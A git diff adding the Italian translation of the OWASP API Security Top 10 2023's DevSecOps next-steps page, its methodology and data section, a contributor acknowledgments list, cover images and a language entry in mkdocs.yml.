a/editions/2023/it/0xb1-next-devsecops.md b/editions/2023/it/0xb1-next-devsecops.md new file mode 100644 index 000000000..f2620dc33 --- /dev/null +++ b/editions/2023/it/0xb1-next-devsecops.md @@ -0,0 +1,30 @@ +# Prossimi Passi per i DevSecOps + +Data la loro importanza nelle architetture applicative moderne, sviluppare API +sicure è fondamentale. La sicurezza non può essere trascurata e deve far parte +dell'intero ciclo di sviluppo. La scansione e i penetration test annuali non +sono più sufficienti. + +I DevSecOps devono unirsi allo sforzo di sviluppo, facilitando il testing +continuo della sicurezza lungo l'intero ciclo di vita del software. Il tuo +obiettivo dovrebbe essere quello di potenziare la pipeline di sviluppo con +l'automazione della sicurezza, senza però impattare la velocità di sviluppo. + +In caso di dubbio, rimani aggiornato e fai riferimento al [DevSecOps +Manifesto][1]. + +| | | +|-|-| +| **Comprendere il Modello di Minaccia** | Le priorità di testing derivano da un modello di minaccia. Se non ne hai uno, considera di utilizzare l'[OWASP Application Security Verification Standard (ASVS)][2] e la [OWASP Testing Guide][3] come input. Coinvolgere il team di sviluppo contribuirà a renderlo più consapevole della sicurezza. | +| **Comprendere il SDLC** | Unisciti al team di sviluppo per comprendere meglio il Software Development Life Cycle. Il tuo contributo al testing continuo della sicurezza deve essere compatibile con persone, processi e strumenti. Tutti devono concordare sul processo, in modo che non ci siano attriti o resistenze inutili. | +| **Strategie di Testing** | Poiché il tuo lavoro non deve impattare la velocità di sviluppo, dovresti scegliere saggiamente la tecnica migliore (semplice, rapida, più accurata) per verificare i requisiti di sicurezza. L'[OWASP Security Knowledge Framework][4] e l'[OWASP Application Security Verification Standard][2] possono essere ottime fonti di requisiti di sicurezza funzionali e non funzionali. Esistono altre ottime fonti per [progetti][5] e [strumenti][6] simili a quelli offerti dalla [community DevSecOps][7]. | +| **Raggiungere Copertura e Accuratezza** | Sei il ponte tra i team di sviluppo e operativi. Per raggiungere la copertura, non dovresti concentrarti solo sulla funzionalità, ma anche sull'orchestrazione. Lavora a stretto contatto con entrambi i team fin dall'inizio per ottimizzare il tuo tempo e il tuo impegno. Dovresti puntare a uno stato in cui la sicurezza essenziale viene verificata continuamente. | +| **Comunicare Chiaramente i Risultati** | Contribuisci valore con il minimo attrito possibile. Consegna i risultati in modo tempestivo, all'interno degli strumenti che i team di sviluppo già utilizzano (non file PDF). Unisciti al team di sviluppo per affrontare i risultati. Cogli l'opportunità di formarli, descrivendo chiaramente la debolezza e come può essere sfruttata, includendo uno scenario di attacco per renderlo concreto. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org \ No newline at end of file diff --git a/editions/2023/it/0xd0-about-data.md b/editions/2023/it/0xd0-about-data.md new file mode 100644 index 000000000..5c2488c7c --- /dev/null +++ b/editions/2023/it/0xd0-about-data.md @@ -0,0 +1,79 @@ +# Metodologia e Dati + +## Panoramica + +Per questo aggiornamento della lista, il team OWASP API Security ha utilizzato +la stessa metodologia adottata per la lista 2019, di grande successo e ampia +adozione, con l'aggiunta di una [raccolta pubblica di dati][1] della durata di +3 mesi. Purtroppo, questa raccolta non ha prodotto dati sufficienti per +un'analisi statistica rilevante dei problemi di sicurezza delle API più comuni. + +Tuttavia, con un settore della sicurezza delle API più maturo e in grado di +fornire feedback e approfondimenti diretti, il processo di aggiornamento è +andato avanti utilizzando la stessa metodologia precedente. + +Giunti a questo punto, riteniamo di avere un buon documento di sensibilizzazione +orientato al futuro per i prossimi tre o quattro anni, più focalizzato sui +problemi specifici delle API moderne. L'obiettivo di questo progetto non è +sostituire altre classifiche top 10, bensì coprire i rischi di sicurezza delle +API attuali ed emergenti di cui riteniamo che il settore dovrebbe essere +consapevole e diligente. + +## Metodologia + +Nella prima fase, sono stati raccolti, esaminati e categorizzati dati +pubblicamente disponibili sugli incidenti di sicurezza delle API. Tali dati +sono stati raccolti da piattaforme di bug bounty e rapporti pubblicamente +disponibili. Sono stati considerati solo i problemi segnalati tra il 2019 e il +2022. Questi dati sono stati utilizzati per dare al team un'idea della direzione +in cui la precedente lista top 10 avrebbe dovuto evolversi, nonché per aiutare +a gestire possibili bias nei dati contribuiti. + +Una [raccolta pubblica di dati][1] è stata condotta dal 1° settembre al 30 +novembre 2022. In parallelo, il team di progetto ha avviato la discussione su +cosa fosse cambiato dal 2019. La discussione ha incluso l'impatto della prima +lista, il feedback ricevuto dalla community e le nuove tendenze della sicurezza +delle API. + +Il team di progetto ha promosso incontri con specialisti sulle minacce rilevanti +alla sicurezza delle API per ottenere approfondimenti su come le vittime vengono +colpite e su come tali minacce possono essere mitigate. + +Questo lavoro ha prodotto una bozza iniziale di quelli che il team ritiene +essere i dieci rischi di sicurezza delle API più critici. La [Metodologia di +Valutazione del Rischio OWASP][2] è stata utilizzata per eseguire l'analisi del +rischio. I rating di diffusione sono stati decisi mediante consenso tra i membri +del team di progetto, basandosi sulla loro esperienza sul campo. Per +considerazioni su queste questioni, si prega di fare riferimento alla sezione +[Rischi di Sicurezza delle API][3]. + +La bozza iniziale è stata poi condivisa per la revisione con professionisti +della sicurezza con esperienza rilevante nel campo della sicurezza delle API. +I loro commenti sono stati esaminati, discussi e, ove applicabile, inclusi nel +documento. Il documento risultante è stato [pubblicato come Release Candidate][4] +per una [discussione aperta][5]. Diversi [contributi della community][6] sono +stati inclusi nel documento finale. + +L'elenco dei contributori è disponibile nella sezione [Riconoscimenti][7]. + +## Rischi Specifici delle API + +La lista è stata costruita per affrontare i rischi di sicurezza più specifici +delle API. + +Non implica che altri rischi generici di sicurezza delle applicazioni non +esistano nelle applicazioni basate su API. Ad esempio, non abbiamo incluso +rischi come "Componenti Vulnerabili e Obsoleti" o "Injection", sebbene possano +essere presenti nelle applicazioni basate su API. Questi rischi sono generici, +non si comportano diversamente nelle API e il loro sfruttamento non è diverso. + +Il nostro obiettivo è aumentare la consapevolezza sui rischi di sicurezza che +meritano particolare attenzione nelle API. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md \ No newline at end of file diff --git a/editions/2023/it/0xd1-acknowledgments.md b/editions/2023/it/0xd1-acknowledgments.md new file mode 100644 index 000000000..971e58bae --- /dev/null +++ b/editions/2023/it/0xd1-acknowledgments.md @@ -0,0 +1,13 @@ +# Riconoscimenti + +## Ringraziamenti ai Contributori + +Desideriamo ringraziare i seguenti contributori che hanno contribuito +pubblicamente su GitHub o tramite altri canali: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb \ No newline at end of file diff --git a/editions/2023/it/images/cover.jpg b/editions/2023/it/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/it/images/cover.jpg differ diff --git a/editions/2023/it/images/front-cc.png b/editions/2023/it/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/it/images/front-cc.png differ diff --git a/editions/2023/it/images/front-wasp.png b/editions/2023/it/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/it/images/front-wasp.png differ diff --git a/editions/2023/it/images/license.png b/editions/2023/it/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/it/images/license.png differ diff --git a/editions/2023/it/images/owasp-logo.png b/editions/2023/it/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/it/images/owasp-logo.png differ diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index c8126cb85..f63f34a8f 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -9,6 +9,8 @@ extra: lang: en - name: Français lang: fr + - name: Italiano + lang: it - name: Persian lang: fa - name: Português (Portugal)